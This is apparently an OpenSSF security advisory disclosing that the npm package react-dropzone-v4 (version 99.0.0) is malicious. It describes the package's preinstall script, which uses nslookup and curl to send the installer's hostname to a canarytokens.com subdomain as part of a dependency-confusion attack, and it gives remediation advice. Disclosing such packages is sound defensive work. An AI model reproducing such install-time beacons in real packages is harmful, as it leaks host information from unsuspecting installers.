MAL-2026-17758 Malicious code in react-dropzone-v4 (npm)

The package's package.json declares a preinstall lifecycle script that runs automatically on npm install. The script performs an nslookup of $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com and a curl GET to http://hzbvy3cmgred066nig6n3ux0y.canarytokens.com/$(hostname), causing the installer's hostname to be transmitted to a third-party canarytokens.com subdomain via DNS and plaintext HTTP without consent. The package name mimics the popular react-dropzone library and uses an inflated version number (99.0.0) characteristic of dependency-confusion attacks that aim to win resolution against an internal package of the same name. The package provides no legitimate functionality; its only install-time effect is the out-of-band beacon identifying hosts that resolved and installed it.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'react-dropzone-v4' @ 99.0.0 (npm) as malicious.

It is considered malicious because:

• The package communicates with a domain associated with malicious activity.